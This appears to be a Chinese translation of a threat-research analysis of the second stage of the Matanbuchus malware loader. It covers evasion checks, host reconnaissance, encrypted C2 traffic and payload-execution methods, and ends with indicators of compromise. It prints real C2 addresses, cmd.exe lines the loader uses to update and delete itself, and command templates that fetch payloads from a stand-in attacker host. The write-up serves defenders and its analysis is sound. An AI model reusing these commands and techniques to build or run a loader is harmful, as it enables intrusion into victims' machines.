关键词:Matanbuchus加载器、恶意软件即时服务(MaaS)、恶意软件

Matanbuchus是一种恶意软件即服务(MaaS)加载器,在黑市上已经流传了一年多。Matanbuchus被认为是一种加载类型的恶意软件,用于在目标环境中下载和执行恶意软件载荷。Matanbuchus加载器包含两个阶段,但是此前只有第一个阶段得到了深入分析。

这篇博客文章将阐明Matanbuchus的主要阶段,即加载的第二阶段。第二阶段的加载更加有趣,因为它涉及许多载荷加载技术。本文通过对加载器的特性和功能的分析,确定Matanbuchus是一个恶意软件加载器。

1. 简介

恶意软件加载器已经存在很长时间了。在过去几年中,用于不同活动和在黑市销售的恶意软件加载器的种类和数量显著增加。

恶意软件加载器的主要目标是逃避和绕过安全检测,如AV(杀毒软件)和EDR(终端检测与响应),然后分发不同的恶意软件载荷,如信息窃取软件、RAT、勒索软件等。这与僵尸网络恶意软件相反,僵尸网络恶意软件侧重于持久性和与C2服务器的主动通信,以按需获取各种命令和执行载荷。

加载器在其复杂性和有效性方面取得了长足的进展。以往的加载器大多是加壳/加密程序,它们基本上加密载荷的内容,以隐藏真实的执行流、字符串等。通过使用这种技术,加载器可以规避静态检测能力。较新的加载器还可以避免动态检测,如用户模式挂钩,采用的技术包括复杂的混淆处理、多阶段二进制文件/Shellcode,以及如反调试和反虚拟机之类的许多反分析技巧。最重要的是,较新的加载器可以通过使用各种加载技术绕过不同的检测来加载攻击者的载荷。

在大多数情况下,加载器有许多不同的阶段,但最后一个阶段通常加载并执行攻击载荷。例如,由多个阶段组成的加载器可能包含以下部分:

  • 检查失陷主机并解密下一阶段的(主)加载器

  • 连接到C2以取得加密密钥并解密下一阶段的攻击程序

  • 下载并解密攻击载荷并执行。

这里是一个从给定URL下载载荷的加载器流程示例,该URL可能是C2服务器。除了普通的C2通道外,恶意软件还可以使用已知的托管服务(例如OneDrive)。一些加载器在其二进制文件中以加密形式存储攻击者的载荷,例如加密资源。

2. Matanbuchus加载器概览

自2021年2月以来,Matanbuchus一直作为MaaS加载器在地下论坛上出售,每月租金为3000-4500美元。根据地下论坛的评论,Matanbuchus是一款非常好用的加载器即服务软件(Loader-as-a-Service),并且其只将服务出租给有限的攻击者群体。

需要注意的是,该加载器组件与载荷分开销售,载荷最终将在目标机器上执行。Matanbuchus主要功能是下载和执行不同的载荷,如Qbot和Cobalt Strike beacons。Matanbuchus过去是通过Microsoft Office文档文件(如Excel和Word文档)的宏代码进行传递和删除的。

图1 Matanbuchus 加载器在一个俄罗斯地下论坛上出售

这款恶意软件是用C++编写的,包括两个阶段:初始加载器(第一阶段)和主加载器(第二阶段)。恶意软件的每个部分都在不同的DLL文件中实现。

第一个阶段相当基本——它主要执行检查以确保当前环境不受监控。这样做是为了确保第二阶段二进制文件不会在受监控的机器中运行,如图2所示。

图2 Matanbuchus加载其的初始加载阶段主要工作流程

与第一阶段不同,第二阶段的主要目标是加载攻击者的载荷。

第二部分开始执行一些有趣的检查(详见下文)。之后,它收集关于受害者机器的信息,并将其作为加密的JSON发送到C2服务器。然后,C2服务器决定在目标环境中执行的载荷以及执行方法/方式。例如,C2服务器可以决定以无文件方式运行可执行文件。值得一提的是,加载器可以从任何远程服务器(如免费托管服务)下载攻击者的载荷。承载载荷的服务器不一定是C2服务器。

Matanbuchus加载器支持用于装载最终载荷和控制自身的各种命令,例如:

  • 运行可执行文件(可以带参数也可以不带参数)

  • 作为管理员运行DLL(使用rundll32.exe或regsvr32.exe)

  • 运行脚本命令–CMD和Powershell命令

  • 从内存运行PE文件(无文件)

  • 更新恶意软件的每个部分

  • 卸载加载器

  • 睡眠

下图展示了该加载器更为有趣的第二阶段的主要工作流程:

图3 Matanbuchus加载器第二阶段的主要工作流程

3. 初始加载阶段

如上文所述,初始加载器是该加载器的第一部分,它最终负责将主加载器加载到内存中。

在分析第二阶段加载器的过程中,作者研究团队写了一篇关于初始加载阶段的博客。但是0ffset Training发布了一份深入的分析,几乎涵盖了作者研究团队在这一部分的所有发现。想深入了解第一阶段的读者可以阅读Offset Training发布的这篇文章。

4. 主加载阶段

第二阶段似乎是令人兴奋的部分,因为它负责与C2服务器通信,然后加载和执行载荷。

如果有读者想进行实验,可以从Virus Total下载作者提供的二进制文件:b9b399dbb5d901c16d97b7c30cc182736cd83a7c53313194a1798d61f9c7501e。

第二阶段具有混淆功能。在这里,使用不同的堆栈字符串技术对字符串进行加密和混淆处理,当恶意软件不得不使用它们时,它们会被动态解密。此外,对大多数API调用的混淆处理方式与对字符串的混淆处理相同,采用的是通过检查相关DLL的导出函数并将函数名与给定的fnv1a哈希进行比较。这两种混淆技术在0ffset的博客中有详细的记录。然而作者的研究团队使用了不同的策略来去除API调用和字符串的混淆。

作者编写了IDAPython脚本来处理字符串和API调用混淆,以使静态分析更容易。

下面开始分析第二个阶段。该恶意软件首先加载并获取Shell32.dll、IPHLAPI.DLL,WS2_32.DLL,Wininet.dll和Shlwapi.dll这五个dll的句柄,然后执行几个测试。

5. 检测受害者主机

Matanbuchus首先通过不同参数检查受害者的机器,如图3中的步骤2-4所示。主加载器从基本CIS检查(步骤2)开始,以验证它不会攻击某些国家的受害者。这是在地下论坛上出售的网络犯罪工具的标准检查。恶意软件解析GetSystemDefaultUILanguage的地址以调用它,然后将用户语言ID与几个硬编码的语言ID进行比较。

图4 CIS检查流程的一部分

接下来,加载器检查初始加载器是否在之前运行(步骤3),这应该是通常的情况,因为初始加载器下载并加载第二阶段加载器。初始加载器创建一个工作文件夹,在其中下载并保存第一阶段二进制文件,以便以计划任务的方式实现持久性。

因此,主加载器检查以验证工作文件夹是否存在;如果没有,则假设出现了问题并退出。

此部分的最后一项检查是验证是否存在包含%Program Files%\\\\\\\\Opera\\\\\\\\Opera.exe的路径,这是Opera web浏览器的默认路径(步骤4)。如果该路径存在,恶意软件将退出,这可能是一个非常奇怪的检查。我们假设此检查往往是针对已知和流行的在线沙盒服务(如Any.Run)的反沙盒伎俩。

图5 检查是否安装了Opera web浏览器

如果上述检查都通过,则加载器执行主函数,如图6所示:

图6 第二阶段DllRegiesterServer 工作流程

6. 加载器核心部分

(1)获取配置

加载器首先解密存储在二进制文件中的内部配置。重要的部分是C2服务器地址、C2服务器的入口和一个字符串,该字符串是C2服务器和恶意软件之间通信的RC4加密密钥。

在作者的分析实例中,C2地址是193.56.146[.]60,193.56.146[.]61,193.56.146[.]62,193.56.146[.]65,入口是/GtHODfM/qilZw/YjtK.php,RC4密钥是5r5i。

除了C2配置之外,加载器还解密另一个配置,如示例版本和示例名称,第三个字符串与活动相关,类似于标记活动。

(2)信息收集

加载器收集受害机器的有关信息,然后发送到C2服务器。通过发送此信息,C2服务器决定发送给加载器的载荷。例如,基于进程的权限,C2服务器将选择需要高权限的特定载荷。

加载器首先使用环境变量%USERDOMAIN%调用ExpandEnvironmentStringsA,然后调用GetComputerNameA来得到计算机名,从而得到与受害者用户关联的网络域名。

然后,它检查正在运行的进程(加载器的进程)的权限。Matanbuchus使用已知技术检查正在运行的进程是否以管理员权限运行。如图7所示,加载器首先解析AllocateAndInitializeSid函数的地址,以创建管理员组的SID。

图7 检查进程权限

接下来,当TokenHandle为NULL时,它使用已创建的管理员组SID调用CheckTokenMembership,因此它将使用当前进程(加载器的进程)的模拟令牌。调用CheckTokenMembership允许加载器决定当前进程是否以管理员权限运行。

接下来,加载器获取运行加载器的进程的完整路径。然后,它收集基本的CPU信息,如CPU名称和品牌。此外,它通过调用IsWow64Process函数来检查机器架构是32位还是64位,该函数检查进程是否在64位处理器上的WOW64下运行。

此外,它通过调用GetSystemInfo来获取机器拥有的处理器数量,GetSystemInfo返回一个指向SYSTEM_INFO结构的指针,该结构的dwNumberOfProcessors字段包含处理器数量。

除此之外,加载器使用ExpandEnvironmentStringsAW API读取受害者登录服务器的名称,环境变量为%LOGONSERVER%。它通过调用GlobalMemoryStatusEx获取计算机的RAM大小。

如图8所示,加载器使用GetComputerNameExA获取本地机器的DNS域名。

图8 获取DNS域名

对受害者侦察的最后一部分是获取计算机的MAC地址。Matanbuchus通过调用iphlpapi.dll的导出函数getAdapterInfo来实现这一点。该函数返回指向保存MAC地址的PIP_ADAPTER_INFO结构体的指针,并将其转换为常规MAC地址格式(%02X-%02X-%02X-%02X-%02X-%02X-%02X)。

(3)与C2服务器通信

在从受害者机器收集相关信息后,Matanbuchus将此数据发送到C2服务器,并等待接收其下一组命令。

发送到C2服务器的数据是一个base64编码后的JSON数据字符串。JSON以加密的方式保存不同的信息。JSON的值都用RC4进行了加密,然后用base64编码,而JSON的键没有加密。

上面提到的这个过程与恶意软件的C2通信几乎是相同的。了解恶意软件开发人员使用已知的开源库处理JSON对象可能很有价值(https://github.com/n[loh]mann/json).

例如,创建加密和编码的JSON的过程如图9:

图9 构建发送数据的过程

创建加密的JSON(图9右侧)后,恶意软件使用base64编码对其进行编码,并在base64字符串的开头连接字符串auth=(如图10所示)。这部分的最后一个任务是将数据发送到C2服务器,这是由作者命名为send\\\\_POST_data的函数完成的。

恶意软件试图将数据发送到第一个C2服务器,如果出现故障,则会迭代到下一个C2服务器。如果无法将数据发送到所有C2服务器,恶意软件将默认进入休眠状态,然后重试。

如前所述,send_POST_data函数负责与C2服务器通信。该函数接收URL/IP地址作为参数。

该函数将创建一个TCP套接字到端口44413,该端口号在程序中是硬编码的,但是Matanbuchus示例之间可能会有所不同。

加载器解密所有用于创建POST请求的相关字符串,如User-Agent:, Host:等等。然后连接数据以创建完整的请求格式。该函数完成POST请求,并通过创建的套接字将其发送到给定的服务器地址。

图10 使用POST请求发送给C2服务器的受害者机器信息

创建JSON并发送编码数据后,C2服务器返回base64编码数据——加密的JSON。此数据包含有一个命令信息。

(4)C2服务器返回的命令

C2服务器接收到数据后,攻击者可以选择加载器执行的下一步,发送后续命令/载荷,作为对最后POST请求的响应。响应也以与请求相同的方式对JSON数据进行加密并用base64进行编码。解码和解密响应后,返回的JSON格式如图11所示:

图11 解密的C2服务器命令

加载器支持14个不同的命令,其中11个与加载攻击者的载荷有关。在执行完所有命令后,加载器调用函数 C2_comm_after。

通过向C2服务器发送魔数(JSON的nX8y)来通知C2服务器执行的是最后一条命令。该请求的响应也可以是另一个要执行的命令,因此加载器甚至可能运行多个载荷。加载器的所有功能和每个命令的格式摘要在附录A中。下面分析每个加载器的命令。

(5)执行payload

恶意软件从JSON的rJqU键获取值(如图11),这是用于承载攻击负载的服务器URL(可能是C2服务器,甚至是已知的托管服务)。它从给定的URL下载攻击者的载荷,将其保存到磁盘并执行。

加载器首先获取其工作文件夹的路径,生成一些随机字符串(大小为11个字符),解密string.exe并将它们串联,结果是载荷文件的完整路径,例如C:\\\\ProgramData\\\\f1b2503007fe48b68e2406ad429228f5a\\\\OlOvfmrqwXT.exe。之后,Matanbuchus调用了一个名为download_file_to_disk的函数,该函数接收URL和文件路径作为参数。它在给定路径上创建一个文件,并从URL下载一个文件。

此函数使用从Wininet.dll导出的函数从远程服务器读取文件。

图12 下载payload到磁盘的函数的一部分

如图12所示,加载器从远程服务器(托管负载)上的文件中读取3072字节,并将其数据以循环方式写入在目标环境工作文件夹中创建的文件。

最后一步,加载器创建一个新的explorer.exe实例,使用CreateProcessA将命令行参数设置为下载的载荷的路径,然后运行负载。

(6)带参数执行payload

此命令与上一个命令完全相同,但在这种情况下,加载器将使用参数运行攻击者的载荷。

“Run-executable”和这个命令之间的主要区别在于,rJqU-JSON的值也包含载荷的参数。因此,加载器通过分隔符分割来提取载荷的参数。

在这种情况下,它将使用带有给定命令行/参数的CreateProcessA执行载荷。

(7)管理员权限执行payload

该加载器可以尝试使用管理员权限运行负载。

Matanbuchus下载载荷并调用ShellExecuteExA。此函数获取指向ShellExecuteInfo结构的指针,同时加载器将lpVerb成员设置为runas。此方法将以管理员权限执行给定进程;在这里,加载器运行cmd.exe启动负载,如图13所示。但如果进程没有管理员权限,它将弹出一个UAC窗口,因此受害者可能不允许它,负载将不会运行。

图13 UAC窗口,用于以管理员权限运行负载

(8)使用Rundll32运行DLL

加载器使用Rundll32.exe执行DLL,并通过攻击者命令执行相关导出函数。恶意软件从给定URL下载DLL,并从JSON中的rJqU键提取导出函数的名称/序号。同样,它使用字符&作为分隔符来区分URL和导出的函数名。

首先,它下载负载并将其保存到磁盘,如图14所示,加载器使用CreateProcessA运行rundll32.exe,后者将运行最终的负载。

图14 创建Rundll32.exe进程

(9)使用Regsvr32运行DLL

该方法与上述方法完全相同。但是,在这种情况下,加载器使用.ocx扩展名保存载荷,并创建regsvr32.exe的实例。

(10)运行CMD命令

除了执行二进制文件外,加载器还可以像僵尸网络病毒一样运行CMD命令。加载器从JSON中的rJqU键提取命令,并以提取的命令创建cmd.exe实例,例如C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd。exe/c

(11)运行PowerShell命令

与运行CMD命令一样,加载器也可以使用相同的技术运行PS命令。它创建了powershell的一个实例,并使用攻击者的命令行执行。

(12)在内存中运行PE

Matanbuchus从下载载荷开始,但在这种情况下,它只将二进制文件保存在内存中。因此,加载器调用一个名为download_file_to_memory的函数,该函数以二进制大小分配内存缓冲区,并将其数据写入内存。该函数返回内存中写入的载荷数据的指针。然后,它创建一个新线程,运行MemLoad函数并将指针传递到内存中的载荷数据,如图15所示。

图15 创建一个新线程,将负载以无文件方式运行

MemLoad函数只是加载和执行PE文件的另一个函数的包装器。该函数检查下载的载荷是否包含PE文件的正确签名。如果包含正确签名,它会将其加载到内存中,重新定位到适当的地址,然后从PE文件的入口点执行它,该入口点可以是可执行文件的入口点,也可以是DLL的MainDll。初始加载器还使用此函数加载主加载器,这在0ffset Training的博客中有详细的记录。

(13)在内存中运行DLL

最后一种加载技术与之前描述的技术非常相似。只有一个区别,在这种情况下,执行的例程不是PE文件的入口点。执行的入口点将是DLL的导出函数之一,其在加载器二进制文件中以硬编码方式存在。

在分析加载技术时,发现了三个使用这种加载技术的不同命令。最后,每个命令都会将DLL加载到内存中,并运行下载负载的另一个导出函数DllRegisterServer或DllInstall。加载器解密导出的函数名,然后遍历加载的DLL的导出函数名,以找到要执行的相关函数。

值得一提的是,加载器有两个不同的命令(在内存#3中运行dll(DllInstall(Install)),在内存#3中运行dll(DllInstall(Unstall)),它们最终运行相同的导出函数-DllInstall,这看起来似乎没有什么作用。

7. 加载器更新

以下命令影响加载器本身,与载荷无关。

这组命令中的第一个命令是更新加载器,开发人员将其命名为“the bot”,因为该命令的名称是Crypt update&Bots upgrade。

加载器首先从给定的URL下载二进制文件,并将其保存到磁盘。之后,它解密各种字符串以创建下一个cmd命令。

    cmd.exe /c timeout /t 3 &&move/Y %ProgramData%\\\\\\\\F1B2503007FE48B68E2406AD42928F5A\\\\\\\\.ocx %ProgramData%\\\\\\\\F1B2503007FE48B68E2406AD42928F5A\\\\\\\\%PROCESSOR_REVISION%.ocx &&regsvr32.exe -e -n -i:"%PROCESSOR_REVISION%.ocx" %ProgramData%\\\\\\\\F1B2503007FE48B68E2406AD42928F5A\\\\\\\\%PROCESSOR_REVISION%.ocx

    代码段1:覆盖初始加载器

    该命令将下载的二进制文件名称更改为机器处理器版本的名称,该版本用于初始加载器的持久性部分(计划任务执行该二进制文件)。换句话说,该命令允许加载器更新将影响第二阶段加载器的初始加载器二进制文件。

    该命令的最后一部分将调用此新加载器的DllInstall导出函数,而不调用DllRegisterServer,也不显示任何成功消息。最后,加载器通过创建cmd的新实例来运行该命令。并将命令作为参数传递。

    8. 加载器卸载

    加载器可以从受害者的机器中删除自己,它可以通过运行一个相当基本的命令来删除加载器的所有文件及其工作文件夹。此命令删除加载器的文件并阻止当前加载器的更多执行,但它不会完全删除自身。加载器不会删除可能指示Matanbuchus感染的计划任务,尽管尝试将其自身删除。

      cmd.exe /c timeout /t3 && del %ProgramData%\\\\\\\\F1B2503007FE48B68E2406AD42928F5A\\\\\\\\%PROCESSOR_REVISION%.ocx &&

      代码段2:删除加载器的工作文件夹

      9. 加载器休眠

      最后一个命令是基本休眠命令,这是加载器的默认命令。如果其他命令(例如未知命令)出现故障,恶意软件会跳转执行该命令。加载器调用休眠功能四分钟,然后与C2服务器通信,请求下一个命令。

      10. 结束语

      Matanbuchus是加载器家族的一员,具有一些特有的技术和特征。

      该加载器使用许多高级技术来隐藏恶意行为,例如API调用混淆和使用未公开的API。然而,有人预计,尽管已经如此复杂,Matanbuchus还将使用更好的加载方法,例如过程注入,这是大多数加载器的典型技术。

      相比于大多数加载器的有限能力,由于Matanbuchus拥有各种功能,使其成为一个“独角兽”。Matanbuchus支持广泛的更新,从解决C2服务器上的bug到向恶意软件二进制文件添加新功能,例如支持从内存加载外壳代码的最新更新。

      在剖析恶意软件的特征和功能时,面临Matanbuchus是一个加载器还是一个“bot”的问题。如果说Matanbuchus是一个加载器,它却具有更加隐蔽和复杂的特征,它的反分析技巧和载荷加载技术相当不普通。

      从Matanbuchus的功能和特性看,它更像是一个“bot”服务,而不是加载器恶意软件。我们得出这一结论主要是因为与其他加载器相比,它的基本加载技术,它的持久性能力,以及它在其中一个命令“Crypt update&Bots upgrade”中表示自己时使用的bot一词。

      最后的看法是,Matanbuchus应该是僵尸恶意软件即服务。

      11. 附录A:C2命令摘要

      命令

      C2 命令名称

      命令详情

      Run executable

      Running exe

      { “hszA”: “Running exe”, “rJqU”: “https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }

      Run executable with parameters

      Starting the exe with parameters

      { “hszA”: “Starting the exe with parameters”, “rJqU”: “https://attackerc2server/payload& cmdline”, “nX8y”: “c2_cmd_flag” }

      Run executable with admin rights

      Run EXE with admin rights

      { “hszA”: “Run EXE with admin rights”, “rJqU”: “https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }

      Run DLL using Rundll32

      RunDll32 & Execute

      { “hszA”: “RunDll32 & Execute”, “rJqU”: “https://attackerc2server/payload&exported_func_name_or_ord”, “nX8y”: “c2_cmd_flag” }

      Run DLL using Regsvr32

      Regsvr32 & Execute

      { “hszA”: “Regsvr32 & Execute”, “rJqU”: “https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }

      Run CMD command

      Run CMD in memory

      { “hszA”: “Regsvr32 & Execute”, “rJqU”: “https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }

      Run PowerShell command

      Run PS in memory

      { “hszA”: “Run PS in memory”, “rJqU”: “https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }

      Run PE within memory

      MemLoadD llMain || MemLoadExe

      { “hszA”: “MemLoadDllMain || MemLoadExe”, “rJqU”: “https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }

      Run DLL within memory

      Running dll in memory #2 (DllRegisterServer)

      { “hszA”: “Running dll in memory #2 (DllRegisterServer)”, “rJqU”: “https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }

      Run DLL within memory

      Running dll in memory #3 (DllInstall(Install))

      { “hszA”: “Running dll in memory #3 (DllInstall(Install))”, “rJqU”: “https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }

      Run DLL within memory

      Running dll in memory #3 (DllInstall(Unstall))

      { “hszA”: “Running dll in memory #3 (DllInstall(Unstall))”, “rJqU”: “https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }

      Loader update

      Crypt update & Bots upgrade

      { “hszA”: “Crypt update & Bots upgrade”, “rJqU”: “https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }

      Uninstall

      Uninstall

      { “hszA”: “Uninstall”, “rJqU”: “https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }

      Sleep

      Sleep – Default function

      { “hszA”: “b2tb” }

      12. 攻击指标

      (1)主要阶段Hashes

      • 0e12e3135f1891b47caf5a4df67a19d96a5bb9d37b1fdff02149e8e6d5ddbb1c 7631546efbeca850698133ee79732bc276ee601ac479fa85bebb938b0fe7fef5 2ef601d3598e90d4e1d5793b4c562fc4ed0cc47c64ff662968a1a8fe1eb70a0e c41f7b7ec0909d5c21107ddebc2fe84dbc137f701b42943c1a5e69f5d50e05ab b9b399dbb5d901c16d97b7c30cc182736cd83a7c53313194a1798d61f9c7501e af6e30959bcc2e034de7c3f5d146b52c54f7343defd01d95e2e3887a62aaabef 556f02ed0c930fc89b898f53a4a670f002ea62c7e8a7f5c2b1740d459284ff5c ef23785e2299720a6d8e15f60b4f84a42f58f5140959597e46d14ed86b4a205d 2cf53513a84c5fe62adf8ae7bbfd5a707ecadd5f47f653fcee26c93362ea83cc 8c2be4fef0c0cda93bfc8b3857465540012e7f20f9dc3dd0cdf723a62a006a5e

      (2)初始阶段Hashes

      • 3bbf58809f6c221652c924e5091b797a5de1148f594b3084d1f54505bf36c6d3 2ed8d7ca0c848699a4a419d434d7fd0e84b7aaadc48b40340e8b8fab9f096d2e 10324295e9e90de22a3204273a28612ef3e72b9ae78c44466e69cb7306b0cffd 6cb30172d4154a89356f5b3bf2b843b94e7e727e4ff90ccb908be7ec1d536f04 9f3a3eb7f9ae763d57731edb33aa9781f51124a70467d0c67b47c5a0be104909 f2b7f9a4bc539ca1abd84b0b7a07853cad7f86e3a66d0e7d050b610c4b2ac7fe 77ef1660d04aebbfcb5506b445c73a60572523741d326aef8e3209326428b501 67dece0c0ef7d6d03f880e73e853f55d0c805dd389896178e7835c364062892e 32814d7581dcbcfeca8fce229bdb12bf92f006aea54c3f393cbbef341c897877 7706ea3a2696393475ef819d8bc0244f6e19c5e08bcc3ce8240571ab74381818 f57dba3c38c19844a1a8a422ae7c7437ee409f4f88dea4ad756dce5a9fa01d8b 9d2f0573033def03d2a91c74337379c77132ca4624120e2f2220bc50bcbe9a7c

      (3)Yara规则

        Matanbuchus Loader Initial Stage Yara RuleMatanbuchus Loader Main Stage Yara RuleIoCsMatanbuchusLoader IoCs

        参考链接:https://www.cyberark.com/resources/threat-research-blog/inside-matanbuchus-a-quirky-loader

        编辑|林飞

        审校|何双泽、金矢

        本文为CNTIC编译整理,不代表本公众号观点,转载请保留出处与链接。

        声明:本文来自国家网络威胁情报共享开放平台,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。